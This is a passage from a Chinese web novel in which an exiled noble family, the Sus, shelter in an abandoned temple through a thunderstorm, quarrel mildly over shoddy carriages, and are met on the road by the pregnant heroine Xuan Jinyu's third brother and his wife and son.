他守了一夜,也困了,便和来跟他换班的王虎说一声,寻了个空地,也不在意灰尘什么的,倒头就睡。 “睡吧,我守着你。”见陈阳离开,苏琯璋低头对宣槿妤说道。 他也没将人放下,只保持着坐立的姿势。只稍稍侧了身,让她头靠在自己肩膀上,好睡得更舒服些。 宣槿妤听到隔壁好像是慕哥儿的哭声,强撑着不让自己睡过去,“是慕哥儿在哭?” 她便是连声音里都带着浓浓的睡意。 “嗯。”苏琯璋应了一声,学着此时他四哥哄慕哥儿的模样,轻轻拍着她的背,“四哥在哄他了,你睡罢!” 宣槿妤还想说些什么,但实在抵挡不住来势汹汹的睡意。她歪了歪头,很快睡了过去,手里还揪着他的衣襟。 苏琯璋低头在她额头上落下一个轻吻。 见宣槿妤没有被扰到,便将她的手从衣襟上轻轻拉开,握在掌中,细细地切了一会儿脉。 脉象平稳,方才的惊吓对她和孩子都没什么影响。 苏琯璋放下心来,又在她额上亲了亲。 不放心小儿媳而走过来的许玉娘脚步一顿,意外地看着自己这个自小喜怒不形于色的小儿子。 他竟也有这样柔情的一面? 苏琯璋抬起头,平静地和自己的母亲对视,神情十分坦荡。 于是许玉娘还是走了过来,蹲下来去看宣槿妤。见人正睡得好好的,心里松了许多,小声问:“槿妤没事吧?” 方才那股惊雷,就连睡梦中的她也被吓醒了,现在还心有余悸。 “没事,”苏琯璋轻声回道,“母亲可还好?” 许玉娘笑了笑,“无碍。” 见苏琯璋还要再问,她补充道:“你祖母也没事。” 苏琯璋颔首。 “我回去继续睡了,你也抓紧时间再睡会儿。” 许玉娘想拍拍儿子的肩膀,但发现无处下手——小儿媳正靠着他,被子卷成了一团。 于是她又将手收回去,站起身来。 “许是还会有惊雷。”苏琯璋说,“但这里不会漏雨,母亲且安心睡便是。” 许玉娘明白他的意思,“知道了,我会留意你祖母的。” 老人、小孩和孕妇这三种人最是受不得惊吓,尤其这种睡梦中被雷声炸醒的时 候,最是要留意。 刚好他们一家正正集齐了这三种受不得惊的人。 许玉娘回身时又和长子长媳、侄子侄媳妇们说了声,让他们留意好孩子们,便回到自己的睡铺前。 苏声一直看着她,看她和小儿子说完话,又去找孩子们。 “说什么了?”见人回来,苏声拉开被子,方便许玉娘躺下。 苏琯煜、苏琯文和苏琯武追上了队伍,夜里便改了原来的分床方式。 除了苏琯璋和宣槿妤小夫妻俩一床不变,苏老夫人和苏二婶同了一席,余下三队夫妻各自带着自己的孩子们同睡一床。 许玉娘自然而然地就和苏声睡了一处。 “璋小子说天亮前还会有惊雷,让我们注意些。”许玉娘回道。 她躺下前,和隔壁的苏老夫人、苏二婶都说了一声。 “我会留意的。”苏二婶回道。 许玉娘将手伸出被子,握住婆母的手,“娘,您睡吧!别怕!” 苏老夫人上了年岁,被雷惊醒后其实已经没什么睡意。但长媳和次媳都睡在她旁边,劝她继续睡,她便温和地笑笑,闭上了眼睛。 轰鸣不断的闷雷声中,她竟当真睡了过去。 将将天亮的时候,果真又有了一次炸雷,不少人从梦中惊叫着跳起来。 雨越发大了,像是有什么东西捅破了天,叫那水源源不断地从天幕上倾泻而下。 睡在门口的几人被水溅了一身,忙收拾铺盖转移到里头去了。 不过这时也睡不成了。 风声呼呼的,雨声密集,混合着电闪雷鸣,叫人见了就心生惧意。 苏老夫人捂着狂跳的胸口,被许玉娘和苏二婶一人一侧,一个抹背、一个揉胸口,足有一盏茶时间才缓过来。 “没事了。”她温和地说着,声音里还带着残余的一丝惊颤,“你们歇歇吧!” 替她揉了这么久,手怕是要酸了。 许玉娘和苏二婶这才收回了手。 “娘还要继续睡吗?”苏声也起了身,蹲在老母亲身前,关切地问。 “不睡了。” 苏老夫人说着,往外看了一眼天色,密集的雨帘倒是不影响她的判断,“都卯时了,往常我也是睡到这个时辰。” 她慢慢站起来,苏二婶忙跟着起身,被她阻止了,“你们都继续睡,我去看看孩子们,他们该吓坏了。” 苏二婶和许玉娘对视一眼,异口同声,“我也不睡了。” 苏声也站了起来,扶住母亲的手臂,“我也睡不着了。” 他苦笑,“若睡梦中再来一次惊雷,儿子也遭不住。” 这种像是在耳边炸响的惊雷,能直往人心里钻,光那声响就让人遭不住。 苏老夫人知道往常这个时候长子也起身练武了,便点点头,任由他扶着自己去看孩子们。 孩子们全都醒着,个个心有余悸。年纪还小的三个小姑娘全都缩在自家娘亲怀里,满眼的依赖。 慕哥儿这回没有哭了,他瘪着嘴,小脸鼓鼓的,正和父亲苏琯武抱怨雷公公扰他好眠。 倒是苏玉桓,这回被吓得不轻,眼泪汪汪的,像是随时能哭出来。但他却生生憋住了,因为双生妹妹苏玉雯正好奇地盯着他。 四位长辈走过来的时候,大伙儿都看了过来。 三对小夫妻身上都挂着孩子,不方便起身,便只叫了人。 苏琯煜/许萱娘:“祖母、爹、娘、二婶。” 苏琯文/常湄言、苏琯武/丁茜茜:“祖母、伯父、伯母、娘。” 孩子们也都乖乖叫了人。 苏玉慕脸不鼓了,苏玉桓擦了擦眼角的泪,皆委屈巴巴地和曾祖母告状。 苏老夫人坐在垫子上,一手揽着一个孩子,很是熟练地开始哄人。 “哦哟,这雷公公这么坏啊?吓到我们慕哥儿了。” 慕哥儿使劲儿点头,雷公公可太坏了。 “我们桓哥儿这么棒啊?都没哭呢!” 桓哥儿抿着唇,破涕为笑。 不多时,孩子们叽叽喳喳的声音便绕着曾祖母响了起来。 见家人各自安好,苏琯璋收回视线,双手仍捂着还在熟睡的宣槿妤双耳上。 方才惊雷响起的那一瞬间,他几乎是同时便将手捂在了她耳朵上。 宣槿妤只“唔”了声,像是被惊雷吓到了。但那股让人惧怕的声音很快消失,她便换了个姿势,安然地继续睡着。 苏琯璋松了口气。 他低了头,下巴轻轻抵着宣槿妤头上的被子,温柔地蹭了蹭。 宣槿妤在一片安静中醒来,身上是好眠后的慵懒舒畅。 她睁着眼睛,入目是苏琯璋熟悉的线条流畅而凌厉的侧脸。 “什么时辰了?” 她这时才留意到苏琯璋捂着她耳朵的手,温暖而干燥,这是护她不被雷声所扰好眠的源头。 宣槿妤看着他,微微出神。 “醒了?”苏琯璋见她睁着眼,便松开了捂着她双耳的手,“还不到辰时。” 她竟睡到了现在? 其余人是不是都已经醒了? 宣槿妤脸色微红,不敢转头去看周遭的人,但她已经听到了不远处被压着的低语声。 “你有孕在身,嗜睡是正常的。”苏琯璋看出她的想法,安慰道。“且这个时辰也不算晚。” 若非被流放,她们女眷们也多是在这个时辰才起身。 宣槿妤抿着唇,快速地整理好自己的衣裳,随手挽了个单髻,让苏琯璋给她检查。 第34章 第34章吻她 “我给你挡着,你站起来我看看。” 确认宣槿妤面上无任何不妥后,苏琯璋往上举着手,展开被子,替二人围出一个安全的简易帐子来。 他们这里是一处角落,只有一条路通到这里来,也只有那一处旁人可以看到他们。 宣槿妤站了起来,借着被子的遮挡,忍不住伸展了慵懒的身子。 苏琯璋也慢慢站了起来。 宣槿妤这两个时辰只是靠在他怀里安稳睡着,并没坐在他腿上;是以他这会儿双腿除了有点僵,还算灵活。 帐子拉高了,宣槿妤抬头看比她高了一个头还多的苏琯璋。 “我能出去见人了吗?”她小声问。 苏琯璋才被她刚起床时的娇媚吸引,正想对她做点什么,闻言动作一顿。 “你随时可以出去见人,槿妤。”他被她话中的忐忑触动,摸了摸她的脸,“没有那么多讲究的。”他温声道。 宣槿妤眼中的不安顿时散去,那股让苏琯璋十分熟悉的娇俏又回到了她眼角眉梢。 分明没有光照过来,他却觉得她似是站在煦日之下。 苏琯璋忍不住低头吻她,热烈而缱绻,夺走她的呼吸,也卷走了她的心神。 宣槿妤被他吻得呼吸都开始急促起来,下意识抱住他精瘦却有力的腰腹,到最后也忍不住回应起他来。 一吻毕,她才慢慢回过神来,“还没洗漱呢!”她捂着红艳艳的唇,嘟哝着。 苏琯璋看着她,唇边弧度微扬,提醒她,“在家里,我们也常……唔。”这样。话消失在他嘴边。 宣槿妤踮起脚尖,捂住他的唇,不让他说完。 她脸上已经红了一片,“不许再说了。”她凶巴巴地说。 像一只小奶猫儿,自以为凶巴巴的,实际爪子都还不锋利,只引得人心里越发怜惜。 他亲了亲她的手心,“好,我不说了。” 宣槿妤像是被烫到了般,忙将手缩回去。 这男人有点不对劲,一大早的就像只夺人心魄的公狐狸,勾得她神魂颠倒。 不能再和他单独待在这里了。 “好啦,快给我检查。” 这被子撑开有好一会儿了,待会儿旁人都要以为他们在做什么见不得人的事儿了。 “裙子有点皱……嗯,现在好了。” 裙子是伸展的面料,宣槿妤只抖了一下便恢复了柔顺。 旁边的地上放着水囊,里头是睡下前苏琯璋才灌的滚水,放了一夜,现在还有些温热。 宣槿妤简单漱了口,再把帕子打湿擦了脸和手,然后犹豫着看苏琯璋。 他太高了。 若是让他弯下腰……她想起了方才那个极尽缠绵的吻,心里颤了颤。 “我自己来就好。”苏琯璋放下了被子,接过她伸过来的水 囊,快速洗漱完毕。 他们那个角落撑起被子时,也没多少人往那里看上一眼。 偶有眼神不自觉飘过去的,也会被同僚狠狠踩上一脚,低斥:“看什么呢?你这双招子不要了?” 再是落魄,人家也是世家大族养出来的姑娘,家里宠得跟什么似的。 假使侥幸不被京中知道,光苏家这些人,即便他们是戴罪之身,他们怕也是得罪不起。 宣槿妤和苏琯璋很快从角落里并肩走出来,他们身后的铺盖已经被收起,妥善地放在角落里。 苏琯璋紧扣着宣槿妤的手心,似是随意地往方才低斥声响起的方向扫了一眼,目光冰冷。 他们二人走过去时,被他目光扫过的人,身上的衣衫都被汗浸透了。 因着雨一直不停,一行人只简单地吃了点干粮,权当早饭了。 干粮是些粗饼子,又干又不好吃,噎得一群男人水灌了一口又一口。 倒是女眷和孩子们,吃的和大家伙不一样。他们面前都是一碗才出锅的热气腾腾的鸡蛋羹,上边撒了些红糖碎,吃起来甜滋滋的。 鸡蛋是昨夜苏琯璋去林子里打猎时在野鸡窝里掏的,今日就用上了。 饭后,陈阳、王虎走过来和苏家男人们议事。 李晓明昨日午时用过饭就带着他的人走了,如今仍是兵部副尉陈阳和禁军千户王虎在带队。 七个人围坐一处,要说的是四月多雨要怎么上路的事。 陈阳率先开口,“我们只有三辆空马车,若遇到雨,就让女眷们和几个孩子上马车躲避。” 苏琯璋看过那几辆马车,也是坐着其中一辆出的城门,他道了声“不妥”。 众人齐齐看他。 苏琯璋解释,“那几辆马车用料一般。若是遇到大雨,恐不止马车顶部会漏雨,车身也不安稳,怕是会开裂。” 他说的用料一般还是委婉了些,真要说的话,那几辆马车明显是偷工减料做成的。 这几日是没遇着雨,马车里也没人,空车才显得安稳些。不然即便是小雨,他也不敢让家人坐上去。 昨日他打猎回来经过那几辆车,发现装了行李的那辆马车车窗都有了一点裂缝。 听苏琯璋说起他的发现,陈阳想起昨夜手下和他汇报过的事情。他当时还亲自去确认过了,不禁点头。 苏琯璋神情自若,其余人面色各异。 苏声、苏琯煜、苏琯文和苏琯武这四个苏家人还好,面上只微微惊诧了一瞬很快就收敛了神色。 王虎却没有这样快速掩饰情绪的能力,下意识去看陈阳。 马车是兵部送过来的,为此来送行的几家人赶来的马车都被原样送了回去。 兵部不是站苏家一头的?怎还送这样劣质的马车来? 陈阳被他看得尴尬,掩饰地笑了笑,“我们大人当时是随意找了几辆空马车,我们这些粗人也看不出马车有问题。” 他并没有为岳丰和自己开脱的意思,只他们兵部这些武夫,心思确实不够细腻。 “宣家三哥有准备马车。” 苏声想起在刑部死牢时,亲家公宣兆和他们说过的话。 亲家母林清婉在十里亭的时候也和宣槿妤提了一嘴,他当时离得不远,也听进了心里。 苏琯璋点头,“是,但岳母和三哥约定的是在余安府会合。按我们现在的脚程,还得走上十来日。” 尤其今日雨势这样大,还至少得再耽搁一天。 若他们当时是从盛京城城西出发,乘坐马车前往余安府,也不过只需一日的时间。 林清婉这安排本是十分稳妥的,宣文晟和他们两头都不必着急赶路。 但兵部和皇帝没有经过商议,却联手打乱了他们的布局。 这回王虎跟着陈阳一起尴尬地笑——他们都理亏。 理亏的人会下意识做出弥补或讨好的举措来。 陈阳主动提议,“我们要不绕道,进村镇买些防雨的油布盖在马车上?” 路线本是他们兵部定的,他来当第一个开口改的人,也是迫于无奈了。 王虎摸了摸鼻子,也给出了提议,“不如将马车送去木匠家直接修补?” “周遭小镇能修补得了吗?”陈阳反问他。 “马车本就是劣质的,再不修补,再在路上滚过几个泥坑就都该散架了。”王虎不服气陈阳的反驳,梗着脖子道。 这就吵起来了? 苏琯煜、苏琯文和苏琯武三人才和这两个人相处过这么会儿时间,并不了解他们的脾性。 方才他们也一句话还没说。此时看着两个人互相瞪着彼此,不由得面面相觑。 再说下去不打起来也要伤和气了。 苏琯璋及时打断陈阳和王虎之间互相的言语攻击,“等天晴了我们去最近的小镇看看,油布要买,马车也要加固。” 防雨是紧要的,但确保马车不散架要更要紧。 短暂的议事闹得不欢而散。 领队的两名队长闹得不愉快,惹得他们的属下也跟着互相看不顺眼。 雨花四溅,也冲不散废庙里头紧绷的气息。 直到不知是谁“哈哈哈”率先笑了起来,然后两伙大男人才互相对视一眼,跟着也绷不住笑开,才将这股莫名其妙互相看不顺眼的劲头搅散。 气氛终于恢复了往日的平和。 “他们都在笑,好搞笑哦!”慕哥儿小声对亲姐姐燕姐儿说道。 燕姐儿认同弟弟的话,“大人有时候就是这么奇奇怪怪的。”她说。 宣槿妤正坐在姐弟俩旁边,将这话听了个正着。 她被逗乐了,先是揉了揉燕姐儿的小脑袋,再去捏一捏慕哥儿鼓鼓的脸颊。 “说得真对。”她夸赞道。 孩子们方才自顾自地玩着,才没心神去理会大人们之间的弯弯绕绕,现在听到满堂的笑声,才会觉得莫名其妙。 但她听了全程,知道是陈阳和王虎之间闹起了不愉快,才惹得这废庙里的人也跟着互相看不顺眼。 她都以为要打起来了。 苏琯璋听着她的分析,失笑,“怎么会打起来。” “怎么不会打起来?”宣槿妤小声嘟囔,“我看他们两队之间肯定是有矛盾在的。” 这几日她多是待在苏琯璋背上,清闲得很,便观察这两队人,发现他们彼此之间很少说话。 都是陈阳和王虎这两个老大在交流正事,旁人基本就是互不相识的状态。 就连陈阳和王虎之间,意见不合的时候也多是好脾气的陈阳在退让。不过陈阳精明,也没让王虎讨得多大的好处。 第35章 第35章和你说话怪没意思的…… 苏琯璋惊讶地对她说:“你竟还会留意这个?” 宣槿妤抬手就掐了他一把。 苏琯璋面不改色,很是顺手地将她的手握在掌心——这些时日他已经被她掐习惯了。 闺阁之中的宣槿妤少有和人吵架的时候,她身世摆在那儿,在家又得宠,鲜少会有不长眼色招惹她的人。 只在嫁给他之后,常被他木讷不懂风情的性子气到,才慢慢学会了骂人。对,她骂人的时候基本都是在骂他。 被流放之后,因着周遭几乎是时时有人围着,宣槿妤倒是骂他骂得少了。 但她无师自通,学会了动手。 想到这里,苏琯璋摸了摸鼻子,有些心虚。 好好的娇娇小姐被他养得,如今一不高兴都会动手打人了。 武安侯府那次宴席上掀桌就是一个讯号。 宣槿妤如今不仅会咬人,掐人的力度技巧更是娴熟——往往会让人很疼,但因力度掌握得刚好,又不会留下青紫的印记。 这都是吸取了刚开始咬他时咬出血、掐他掐到他身上淤青一片的经验之后,她慢慢琢磨着改过来的。 宣槿妤动手动得理直气壮、毫不犹豫,苏琯璋被咬被掐还挺自得,只每每苦恼自己为何又惹她不高兴了。 每每冷不丁地被她咬上一口、掐上一记 ,他都疼过了通常还不知道她为何不高兴。 只这次他明白了,他好像是有点嘴欠,不该质疑她。 苏琯璋自觉认错,“是我小瞧你了,对不住。” 宣槿妤得意地翘起唇角,被他抓着五指和他紧扣,也不在意。“你就说:你没看错,真聪明,不愧是你。” 苏琯璋:“……”他倒也说不出这样夸赞她的跳脱话来。 被她亮晶晶的眼神看着,苏琯璋险些遭不住。 他轻咳一声,“武夫也不都个个是暴脾气,何况如今他们还有差事在身。” 宣槿妤皱着眉看他,让他夸她,他在说什么? “我平日里看兵部辖下的营卫队和皇城的禁军卫队,发现这两支队伍确实是有点不对付。” 宣槿妤松开了眉头,她的观察结果被他肯定了。 没有听到她喜欢听的话,宣槿妤也没有不高兴。 她已经习惯了这男人的呆板,真听到他照自己的话夸自己,她还会质疑他是不是被人夺舍了。 只要他认同她的结论就好,反正她就这么聪明!日后外祖父再说自己是个笨丫头,她也有事例来反驳他老人家了。 宣槿妤正美滋滋地想着和三哥哥会合后,怎么给外祖父寄信,忽而又听这男人说,“但你看这一路他们相处得都还可以。” 一队人走前头,一队人走后头,路上基本就没交流过。 这叫“相处得还可以?” 宣槿妤斜睨他,满眼都是“你在撒谎”“我看你继续编”。 苏琯璋这会儿竟看懂了她的眼神,于是也说不下去了。 他将她抱到怀里,“闷不闷?昨晚被吵醒过,你要不要再睡一会儿?” 大白日的,庙里都是外男,连个清静的地方都没有。且她又不困,谁要在这个时候睡觉? “我是挺闷的,被你这个木头桩子闷到了。”宣槿妤推开他,站起身来。 怎么又说他是木头桩子? 苏琯璋跟着站起来,不解地看她。 “和你说话怪没意思的,我去找祖母她们。” 祖母、母亲和二婶说话就有意思多了,还不会像嫂嫂们那样轻易就拿她打趣。 不过,若是嫂嫂们有空,和她们说笑玩闹一番也挺有趣致的。她可以以一敌三呢! 再有孩子们,还会给她这个小婶婶表演自己排的各种好玩的游戏曲目,逗她开心。 宣槿妤一一数着,数着数着越发觉得苏琯璋讨人嫌。 谁都比苏琯璋这块木头好得多,他连聊个天都不会。 不仅将她的好心情搅和没了,还在他不知道该怎么说话的时候就让她睡觉。 他倒是会省事儿,哄个人都不会。 前两日不是还开窍了?这么快就被打回原形了,她倒宁愿他来逗弄她呢! 宣槿妤越想越气不过,抓起他的手掀开衣袖,照着手腕就是狠狠一口,“你若是想睡,你就自己睡。” 咬完她就松口,满意地看着破皮但没出血的牙印。嗯,她的咬人技术也进步了,她也解气了。 苏琯璋随着宣槿妤的目光看向手腕上小巧的两排牙印,再想着她的话,终于知道她为什么生气了。 “槿妤,你若不想睡,就不睡。”他干巴巴地说着,“我陪你过去和祖母说说话。” 宣槿妤伸手又掐他一记,“闭嘴,别总睡啊睡的,生怕别人听不到?” 苏琯璋闭嘴了。 于是宣槿妤松了手。 她朝苏琯璋露出个嫌弃的笑,“别跟过来,你一来,大家说话都不能尽兴了。” 苏琯璋只好站在原地,目送她穿过两条小道,脚步轻快地去找祖母她们。 她一过去,祖母便欢欢喜喜地拉住她的手。母亲和二婶也都关切地看着她,唇边都漾着笑意。 苏琯璋盯着宣槿妤眉眼间的欢悦,无意识地摩挲着手腕上的咬痕,若有所思。祖母她们确实能让她开心起来。 这一日他们终究没能离开这废庙。 雨势稍缓时两支队伍各分了几个人出去找食材,苏家这头终于不用苏琯璋再钻林子,他的三位哥哥自觉地跟上了队伍。 一群人冒着雨进了山林深处,抓了不少猎物回来,鱼也捞了几桶,总算将午饭和晚饭安排妥当。 好在晚膳用完没过多久雨就停了,翌日天也晴了。 明晃晃的太阳挂在天边,吸足了水分的野草被压弯了身子,有蒸腾的水气溢出。 人眼倒是见不着那水气,只觉着有股被烘过的热乎气,直往人身上扑。 出去探路的两名官兵回来说,地上皆是泥泞,路并不好走。 于是一百多人的队伍又在废庙里待了一个上午。 大抵是因为进了孟夏,日头的火力十分充足,午时过后地上的积水便都被晒干了。 被困在废庙一日有余的一行人这才动身,继续上路。 按昨日商议好的,今日他们不再专挑深山野林的路走,而是往外出转,赶在晚膳时分转到了官道上。 他们此时正站在十字交叉官道的竖线上。 竖线的那头近在眼前,横线则两头绵延着消失在视野尽头,不知通往何处。 他们自然而然地看着近处,小小的镇子横亘在他们身前。 陈阳从前方往后走过来,指着小小的镇子,问苏琯璋,“我们进去?不过这镇子太小,不知道能不能安置得下我们这些人。” 苏家五个男人里边,苏声是国公爷,面上再如何温和,身上的威严也是掩不住的。 且他驰骋沙场三十多年,身上的杀伐气也是最重的,常惹得同为武人的他心生忌惮。 若非必要,陈阳甚少和他打交道。 余下的四名公子,苏琯璋是他最熟悉的一位;且看苏家人的态度,也都隐隐以苏琯璋的决断为先,倒是都不计较他在这一辈中年纪最小。 于是陈阳有事的时候,自然而然地便来找他商议,相信王虎也是这么想的。 苏琯璋目光随着陈阳手指的方向落在那座镇子上。 说是镇子,占地可能还不如一些比较大的村落。四四方方的围墙,站在这里好似就能看到尽头。 它就叫“四方镇”,名字倒是十分贴切。 有隐隐的马蹄声渐近,听起来离得还远。 “不用麻烦了。”苏琯璋顺着马蹄声传来的方向,转头看着官道的另一头,那里有尘土飞扬。 马车上高高的旗帜,十分张扬地随着风飘扬,在烈日下闪耀着明亮的光。 他已经认出这是宣家三哥宣文晟商队的旗帜。 “有人来接应我们了。”苏琯璋如是说。 闻言,苏家人也走上前来。后头的王虎也穿过人群,走到前头。 一众人都被远处的旗帜吸引了目光。 宣槿妤也认出那面旗帜来了,她站在苏琯璋身侧,不自觉地捏住他的衣角。 苏琯璋回头看她,牵住她的手,包在掌心,温声开口,“应当是三哥来找我们了。” 宣槿妤双眼灿若星辰,用力地点了点头。 这时前方朝众人行来的马车已经近了,她已经认出打马走在前头的人,正是三哥的随身侍卫。 前方的人也看到他们了。 骑在前头的人回头不知道和后面的人说了什么,很快,一匹马越过他朝这边疾驰而来。 这是他们被流放的第五日,宣家三哥宣文晟过来接应他们了。 马儿在离他们丈远的位置停了下来,避免扬起的灰尘落在他们身上。 宣文晟利落地翻身下马。 “三哥哥,”宣槿妤惊喜地对着人叫道,“娘不是说你会在余安府等我们吗?” 她被苏琯璋包在掌心的手雀跃地动来动去,想要挣脱他掌心的束缚。 若非有他在后头稳稳地揽住她的腰,提醒她已经有孕这事,怕宣槿妤这下已经忍不住蹦跳起来了。 “槿妤,慢些。”苏琯璋没放开她,低声提醒, “小心孩子。” 宣槿妤一脸不情愿地站在原地,等着三哥哥朝她快速走过来。 第36章 第36章他叫你四哥,叫我三堂哥…… 宣文晟很快走过朝两边散开的人群,走到宣槿妤和苏琯璋面前。 他看着衣着简单却依旧明艳照人的妹妹,笑得和煦,“怎么一脸不高兴?不乐意见到哥哥?” 宣槿妤忙摇头,“三哥哥你怎么找过来了?”她没提方才她的莽撞,只转移了话题。 “我在余安府等不到你们。又收到娘亲来信,说你们没有马,也没有马车,就找了过来。”宣文晟说。 他实在不放心有孕的妹妹。 左等右等等不到人,他便寻着母亲信上提到的路线找了过来。 若非突降暴雨,一行人被迫休整了一日,他昨日就该找到他们了。 “三嫂嫂也来了?”宣槿妤十分惊讶。 宣文晟点头,“原本是想让他们跟着商队一起回京的。但你嫂嫂说想见见你,秩哥儿也想念小姑姑了,就带他们一起过来了。” 宣槿妤蹙眉,不赞同地看着他,“三哥哥胡闹。” 宣文晟面色不变,“不会让他们跟着我们一路的。” “我给大哥送了信,让府中来人将你三嫂嫂和秩儿带回京城。别人我不放心。” 宣槿妤才放下心来。 他们说了这么一会儿话,也才想起要见礼的事来。 “三哥。”苏琯璋这时候才抽空叫了人。 宣文晟微微颔首,拍了拍妹夫的肩。 他一直都很满意这个妹婿,如今见着虽然被流放,但妹妹眉眼间的娇气依旧未散,便知他将人照顾得很好。 “宣家三哥。” 苏老夫人他们也走了过来,各自打招呼见礼。 “五弟,以后你要怎么区分我和宣家三哥?” 苏琯文见宣文晟和宣槿妤兄妹叙着旧,自家小弟一句话也插不上去,不由地捅了捅他,好奇地问。 这话将还在说着话的宣文晟、宣槿妤兄妹俩的视线吸引了过来。 苏琯璋倒是淡然,“日后叫你三兄。”他说,假装没看到三哥脸上的不怀好意。 三兄这么难听。 苏琯文收起脸上的戏谑,皱了皱眉,“那你怎么叫大哥和你四哥?” “大哥和四哥的称呼不变,三兄你多担待些。”苏琯璋顶着一张清冷隽秀的脸,温热的嘴唇说出让苏琯文心凉的话来。 他盯着苏琯璋,确认小弟没有在跟自己在开玩笑。 苏琯武乐得看双生兄长的笑话,于是插话道:“五弟叫三堂哥也行,三堂哥比三兄好听。”他怂恿苏琯璋。 谁叫三哥嘴欠,想要看小弟的好戏。 他这回可要站小弟这边。 “他叫你四哥,叫我三堂哥?”苏琯文不可置信地反问道。 这么生分的?他不干。 苏家人“嗤嗤”地笑了起来,尤其是苏琯武,他笑得最大声,惹得孩子们仰着头盯着他看个不停。 苏二婶暗中掐了一把长子的手臂,叫你生事。 被娘亲掐得手疼,苏琯文不敢叫出声,只得认命,“五弟你还是叫我三兄吧!” 宣家三哥是五弟妹胞兄,可不能让小弟叫人叫生分了,还是他这个三哥多担待一些。 唉!他为了小弟,可承受了太多。 知子莫若母,苏二婶一见他这模样就知道他在想些什么,不由对他翻了个白眼。 苏琯文:“……”他都退让了为什么娘亲还要这样埋汰他? 宣文晟见这一家子眉来眼去,小动作不断,也是颇为精彩,忍不住笑出声来,“不然琯璋随槿妤叫,叫我三哥哥也行。” 宣槿妤全程听在耳中,这下也撑不住笑了。 “三哥哥。”她刚开口,瞥了一眼苏琯璋就笑个不停。 哈哈哈,她叫着还行,可不敢想象苏琯璋一口一个“三哥哥”地叫的模样。 她光想想都乐得不行。 她一笑,周围一圈人也都笑开了。 被哄笑中心的苏琯璋倒是很淡然,“三哥说笑了。” 他捏了捏宣槿妤缩在他掌心的手,“且慢些笑,当心岔了气。” 他一声“三哥”,引得苏琯文和宣文晟齐齐看他。二人目光在不经意间交汇,各自眼中都含了笑意。 看来是真要将称呼定下来了,苏琯璋一声“三哥”,两个人都下意识地以为是在叫自己。 “不若叫我文晟哥好了。”宣文晟说道。 苏琯璋已经叫了苏琯文二十多年的三哥,各自都习惯了,怕是难改。且光单独改对苏琯文的称呼也不合适,他听着会伤心的。 而苏琯璋成为他妹夫才三年,叫他三哥的时间也短,相对而言并不难改口。 “文晟哥。”苏琯璋从善如流。 苏琯文冲宣文晟抱拳,“多谢宣家三哥。”谢天谢地,他可不用成为被小弟单独区分称呼的那个人,怪生分的。 宣文晟对他笑得温和。 称呼一定,气氛便也比方才更加热烈。 一行人正热热闹闹地说着话,方才视线尽头那辆马车也加快了速度,这时也已经到了他们跟前。 马车车帘被掀开,露出一颗圆滚滚的小脑袋,“小姑姑。”长得憨头憨脑的小男孩儿探出头来,脆生生地叫人。 宣槿妤忍不住上前一步,“诶”的一声应了。 小男孩儿正是她的小侄子秩哥儿,才满两岁。他们上回见面时还是元宵佳节在宣府里,算算时日,已有三个多月不见面,他竟还认得她这个小姑姑。 车帘后一张美人面也探了出来,对她笑得欢欣,“妹妹。”正是宣文晟的妻子方沅沅。 “三嫂嫂。” 宣槿妤拉着苏琯璋疾步上前,惹得方沅沅迭声叫着,“妹妹,你慢些走。” 见苏琯璋稳住她的步子,方沅沅才放下了心。 宣文晟已经走到马车旁,闻言不赞同地回头看了宣槿妤一眼,“琯璋你别由着妹妹胡来。” 舍不得说宣槿妤,他便只看着她,嘴里说的却是苏琯璋。 宣槿妤“哼”的一声娇嗔,脚步慢了下来。 “这么久没见面,刚见面三哥哥就说我。”她看着刚被宣文晟扶下马车的方沅沅,“三嫂嫂,你要替我教训哥哥。” 方沅沅轻笑,快步上前几步接住她,“好好好,我待会儿就替你教训他。” 这时苏家其余人也都走上前来了。 宣文晟放下儿子,携着方沅沅和苏家人一一见礼。 宣槿妤只觉得双腿被人抱住,她低头一看,小小一个团儿仰着头,正冲她笑着。 “小姑姑。”秩哥儿又叫了一声。 “秩哥儿。”宣槿妤欢喜地摸着他圆滚滚的脑袋。 “小姑姑抱。”秩哥儿不满足只被小姑姑摸头,冲她张开双手。 若放以前,宣槿妤早就毫不犹豫地将他抱起来了。可这会儿她顾忌着身子,可不敢抱他。 秩哥儿嘴巴撅了起来。 宣槿妤忙慢慢蹲下去,揽住他,“小姑姑抱秩哥儿。” 秩哥儿重又高兴了,抱住宣槿妤的脖子,蹦蹦跳跳的。 苏琯璋眉头一跳,忙半蹲下去,扶住宣槿妤。“秩哥儿别跳。” 宣文晟本和苏声说着话,眼角余光瞥见儿子在妹妹怀里蹦着,也吓了一跳。“秩哥儿别跳。” 二人的声音几乎重合。 这样大的动静惹得旁人都看了过来。 苏琯璋还好,已经尽量稳着声音;宣文晟却是急着出声阻止儿子,一时没控制住音量,声音十分严厉。 秩哥儿被这样的父亲吓到了,眼里顿时就含了一包泪,将头埋进宣槿妤怀里。 “父亲和小姑父都不是在凶秩哥儿。” 宣槿妤拍着他小小的背脊,温声哄他,“小姑姑肚子里有了弟弟妹妹,他们只是在担心小姑姑,没有怪秩哥儿的意思。” 方沅沅也结束和许玉娘的对话,蹲了下去,“秩哥儿可以跳,但不能碰到小姑姑。” 方沅沅没有安慰儿子的意思,只将他从小姑子怀里拉出来,盯着他的眼睛,和他认真地说着话。 “刚刚你在小姑姑怀里蹦蹦跳跳的,差点伤了小姑姑肚子里的弟弟妹妹。所以你父 亲和小姑父才出声阻止你的。” 秩哥儿抬头看着宣槿妤,见她面色温和,又去看她的肚子。 宣槿妤将他的小手放在小腹上,那里已经有微不可察的弧度。 “你要和小姑姑跟弟弟妹妹说什么?”方沅沅见儿子已经和缓了神色,便问他。 秩哥儿在宣槿妤腹上摸了摸,“小姑姑,弟弟妹妹,对不起。” “好孩子。”宣槿妤亲了亲他的小脸蛋。 “原来书香世家出来的夫人,是这样教孩子的。”许玉娘若有所思。 倒是不错。 若放他们家,方才那样的情况,孩子不是故意的,说清楚就好了。不会想着还要不知情的小小孩童去道歉。 若孩子调皮,干了坏事,能教就教,听得懂的就多说几遍,听不懂的就打上一顿。不能教的,先打个几顿,再送去军营管教,保管听话。 武将家教出来的孩子都皮实,不过也确实不如文官家,尤其书香门第教出来的孩子文雅。 宣文晟见妻子已经将儿子安抚好,摸了摸他的小脑袋。 秩哥儿依赖地将脸埋进父亲双腿处。 “好了,都别在这里站着了。”宣文晟将手放在儿子头上,轻轻搭着,眼睛看向苏声,“现在是晚膳时分,你们都还没用膳吧?” 第37章 第37章好你个苏家小公子 一簇烟花猝然绽放在这小小的四方镇城门前,消失在落日余晖之中。 